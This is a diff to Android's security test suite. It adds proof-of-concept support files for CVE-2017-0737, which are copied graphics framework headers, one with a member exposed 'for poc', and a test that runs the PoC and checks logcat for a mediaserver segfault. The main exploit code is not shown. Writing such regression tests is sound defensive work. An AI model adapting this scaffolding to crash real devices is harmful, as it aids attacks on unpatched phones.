+#include <utils/Vector.h>
+
+#include <list>
+#include <set>
+
+namespace android {
+
+class IConsumerListener;
+class IGraphicBufferAlloc;
+class IProducerListener;
+
+class BufferQueueCore : public virtual RefBase {
+
+    friend class BufferQueueProducer;
+    friend class BufferQueueConsumer;
+
+public:
+    enum { INVALID_BUFFER_SLOT = BufferItem::INVALID_BUFFER_SLOT };
+    enum { MAX_MAX_ACQUIRED_BUFFERS = BufferQueueDefs::NUM_BUFFER_SLOTS - 2 };
+
+    enum {
+        CURRENTLY_CONNECTED_API = -1,
+
+        NO_CONNECTED_API        = 0,
+    };
+
+    typedef Vector<BufferItem> Fifo;
+
+    BufferQueueCore(const sp<IGraphicBufferAlloc>& allocator = NULL);
+    virtual ~BufferQueueCore();
+
+    // made public for poc
+    sp<IConsumerListener> mConsumerListener;
+
+private:
+    void dump(String8& result, const char* prefix) const;
+
+    int getMinUndequeuedBufferCountLocked() const;
+
+    int getMinMaxBufferCountLocked() const;
+
+    int getMaxBufferCountLocked() const;
+
+    int getMaxBufferCountLocked(bool asyncMode,
+            bool dequeueBufferCannotBlock, int maxBufferCount) const;
+
+    void clearBufferSlotLocked(int slot);
+
+    void freeAllBuffersLocked();
+
+    void discardFreeBuffersLocked();
+
+    bool adjustAvailableSlotsLocked(int delta);
+
+    void waitWhileAllocatingLocked() const;
+
+    sp<IGraphicBufferAlloc> mAllocator;
+
+    mutable Mutex mMutex;
+
+    bool mIsAbandoned;
+
+    bool mConsumerControlledByApp;
+
+    String8 mConsumerName;
+
+    uint32_t mConsumerUsageBits;
+
+    int mConnectedApi;
+    pid_t mConnectedPid;
+
+    sp<IProducerListener> mLinkedToDeath;
+
+    sp<IProducerListener> mConnectedProducerListener;
+
+    BufferQueueDefs::SlotsType mSlots;
+
+    Fifo mQueue;
+
+    std::set<int> mFreeSlots;
+
+    std::list<int> mFreeBuffers;
+
+    std::list<int> mUnusedSlots;
+
+    std::set<int> mActiveBuffers;
+
+    mutable Condition mDequeueCondition;
+
+    bool mDequeueBufferCannotBlock;
+
+    PixelFormat mDefaultBufferFormat;
+
+    uint32_t mDefaultWidth;
+
+    uint32_t mDefaultHeight;
+
+    android_dataspace mDefaultBufferDataSpace;
+
+    int mMaxBufferCount;
+
+    int mMaxAcquiredBufferCount;
+
+    int mMaxDequeuedBufferCount;
+
+    bool mBufferHasBeenQueued;
+
+    uint64_t mFrameCounter;
+
+    uint32_t mTransformHint;
+
+    sp<NativeHandle> mSidebandStream;
+
+    bool mIsAllocating;
+
+    mutable Condition mIsAllocatingCondition;
+
+    bool mAllowAllocation;
+
+    uint64_t mBufferAge;
+
+    uint32_t mGenerationNumber;
+
+    bool mAsyncMode;
+
+    bool mSharedBufferMode;
+
+    bool mAutoRefresh;
+
+    int mSharedBufferSlot;
+
+    struct SharedBufferCache {
+        SharedBufferCache(Rect _crop, uint32_t _transform, int _scalingMode,
+                android_dataspace _dataspace)
+        : crop(_crop),
+          transform(_transform),
+          scalingMode(_scalingMode),
+          dataspace(_dataspace) {
+        };
+
+        Rect crop;
+        uint32_t transform;
+        uint32_t scalingMode;
+        android_dataspace dataspace;
+    } mSharedBufferCache;
+
+    int mLastQueuedSlot;
+
+    OccupancyTracker mOccupancyTracker;
+
+    const uint64_t mUniqueId;
+
+};
+
+}
+
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_FrameTimestamps.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_FrameTimestamps.h
new file mode 100644
index 0000000..f071f77
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_FrameTimestamps.h
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef ANDROID_GUI_FRAMETIMESTAMPS_H
+#define ANDROID_GUI_FRAMETIMESTAMPS_H
+
+#include <utils/Timers.h>
+#include <utils/Flattenable.h>
+
+namespace android {
+
+struct FrameTimestamps : public LightFlattenablePod<FrameTimestamps> {
+    FrameTimestamps() :
+        frameNumber(0),
+        postedTime(0),
+        acquireTime(0),
+        refreshStartTime(0),
+        glCompositionDoneTime(0),
+        displayRetireTime(0),
+        releaseTime(0) {}
+
+    uint64_t frameNumber;
+    nsecs_t postedTime;
+    nsecs_t acquireTime;
+    nsecs_t refreshStartTime;
+    nsecs_t glCompositionDoneTime;
+    nsecs_t displayRetireTime;
+    nsecs_t releaseTime;
+};
+
+}
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_OccupancyTracker.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_OccupancyTracker.cpp
new file mode 100644
index 0000000..3712742
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_OccupancyTracker.cpp
@@ -0,0 +1,113 @@
+/*
+ * Copyright 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/Parcel.h>
+#include <utils/String8.h>
+#include <utils/Trace.h>
+
+#include <inttypes.h>
+
+#include "poc_OccupancyTracker.h"
+
+namespace android {
+
+status_t OccupancyTracker::Segment::writeToParcel(Parcel* parcel) const {
+    status_t result = parcel->writeInt64(totalTime);
+    if (result != OK) {
+        return result;
+    }
+    result = parcel->writeUint64(static_cast<uint64_t>(numFrames));
+    if (result != OK) {
+        return result;
+    }
+    result = parcel->writeFloat(occupancyAverage);
+    if (result != OK) {
+        return result;
+    }
+    return parcel->writeBool(usedThirdBuffer);
+}
+
+status_t OccupancyTracker::Segment::readFromParcel(const Parcel* parcel) {
+    status_t result = parcel->readInt64(&totalTime);
+    if (result != OK) {
+        return result;
+    }
+    uint64_t uintNumFrames = 0;
+    result = parcel->readUint64(&uintNumFrames);
+    if (result != OK) {
+        return result;
+    }
+    numFrames = static_cast<size_t>(uintNumFrames);
+    result = parcel->readFloat(&occupancyAverage);
+    if (result != OK) {
+        return result;
+    }
+    return parcel->readBool(&usedThirdBuffer);
+}
+
+void OccupancyTracker::registerOccupancyChange(size_t occupancy) {
+    ATRACE_CALL();
+    nsecs_t now = systemTime();
+    nsecs_t delta = now - mLastOccupancyChangeTime;
+    if (delta > NEW_SEGMENT_DELAY) {
+        recordPendingSegment();
+    } else {
+        mPendingSegment.totalTime += delta;
+        if (mPendingSegment.mOccupancyTimes.count(mLastOccupancy)) {
+            mPendingSegment.mOccupancyTimes[mLastOccupancy] += delta;
+        } else {
+            mPendingSegment.mOccupancyTimes[mLastOccupancy] = delta;
+        }
+    }
+    if (occupancy > mLastOccupancy) {
+        ++mPendingSegment.numFrames;
+    }
+    mLastOccupancyChangeTime = now;
+    mLastOccupancy = occupancy;
+}
+
+std::vector<OccupancyTracker::Segment> OccupancyTracker::getSegmentHistory(
+        bool forceFlush) {
+    if (forceFlush) {
+        recordPendingSegment();
+    }
+    std::vector<Segment> segments(mSegmentHistory.cbegin(),
+            mSegmentHistory.cend());
+    mSegmentHistory.clear();
+    return segments;
+}
+
+void OccupancyTracker::recordPendingSegment() {
+    if (mPendingSegment.numFrames > LONG_SEGMENT_THRESHOLD) {
+        float occupancyAverage = 0.0f;
+        bool usedThirdBuffer = false;
+        for (const auto& timePair : mPendingSegment.mOccupancyTimes) {
+            size_t occupancy = timePair.first;
+            float timeRatio = static_cast<float>(timePair.second) /
+                    mPendingSegment.totalTime;
+            occupancyAverage += timeRatio * occupancy;
+            usedThirdBuffer = usedThirdBuffer || (occupancy > 1);
+        }
+        mSegmentHistory.push_front({mPendingSegment.totalTime,
+                mPendingSegment.numFrames, occupancyAverage, usedThirdBuffer});
+        if (mSegmentHistory.size() > MAX_HISTORY_SIZE) {
+            mSegmentHistory.pop_back();
+        }
+    }
+    mPendingSegment.clear();
+}
+
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_OccupancyTracker.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_OccupancyTracker.h
new file mode 100644
index 0000000..0c3dd62
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_OccupancyTracker.h
@@ -0,0 +1,97 @@
+/*
+ * Copyright 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef ANDROID_GUI_OCCUPANCYTRACKER_H
+#define ANDROID_GUI_OCCUPANCYTRACKER_H
+
+#include <binder/Parcelable.h>
+
+#include <utils/Timers.h>
+
+#include <deque>
+#include <unordered_map>
+
+namespace android {
+
+class String8;
+
+class OccupancyTracker
+{
+public:
+    OccupancyTracker()
+      : mPendingSegment(),
+        mSegmentHistory(),
+        mLastOccupancy(0),
+        mLastOccupancyChangeTime(0) {}
+
+    struct Segment : public Parcelable {
+        Segment()
+          : totalTime(0),
+            numFrames(0),
+            occupancyAverage(0.0f),
+            usedThirdBuffer(false) {}
+
+        Segment(nsecs_t totalTime, size_t numFrames, float occupancyAverage,
+                bool usedThirdBuffer)
+          : totalTime(totalTime),
+            numFrames(numFrames),
+            occupancyAverage(occupancyAverage),
+            usedThirdBuffer(usedThirdBuffer) {}
+
+        virtual status_t writeToParcel(Parcel* parcel) const override;
+        virtual status_t readFromParcel(const Parcel* parcel) override;
+
+        nsecs_t totalTime;
+        size_t numFrames;
+
+        float occupancyAverage;
+
+        bool usedThirdBuffer;
+    };
+
+    void registerOccupancyChange(size_t occupancy);
+    std::vector<Segment> getSegmentHistory(bool forceFlush);
+
+private:
+    static constexpr size_t MAX_HISTORY_SIZE = 10;
+    static constexpr nsecs_t NEW_SEGMENT_DELAY = ms2ns(100);
+    static constexpr size_t LONG_SEGMENT_THRESHOLD = 3;
+
+    struct PendingSegment {
+        void clear() {
+            totalTime = 0;
+            numFrames = 0;
+            mOccupancyTimes.clear();
+        }
+
+        nsecs_t totalTime;
+        size_t numFrames;
+        std::unordered_map<size_t, nsecs_t> mOccupancyTimes;
+    };
+
+    void recordPendingSegment();
+
+    PendingSegment mPendingSegment;
+    std::deque<Segment> mSegmentHistory;
+
+    size_t mLastOccupancy;
+    nsecs_t mLastOccupancyChangeTime;
+
+};
+
+}
+
+#endif
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_08.java
index f8fddbc..e722ea7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_08.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_08.java
@@ -37,4 +37,16 @@
         TimeUnit.SECONDS.sleep(50);
     }
 
- }
+    /**
+     * b/37563942
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0737() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPocNoOutput("CVE-2017-0737", getDevice(), 60);
+        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine(
+            "Fatal signal 11 \\(SIGSEGV\\)" +
+            ".*>>> /system/bin/mediaserver <<<", logcatOut);
+    }
+}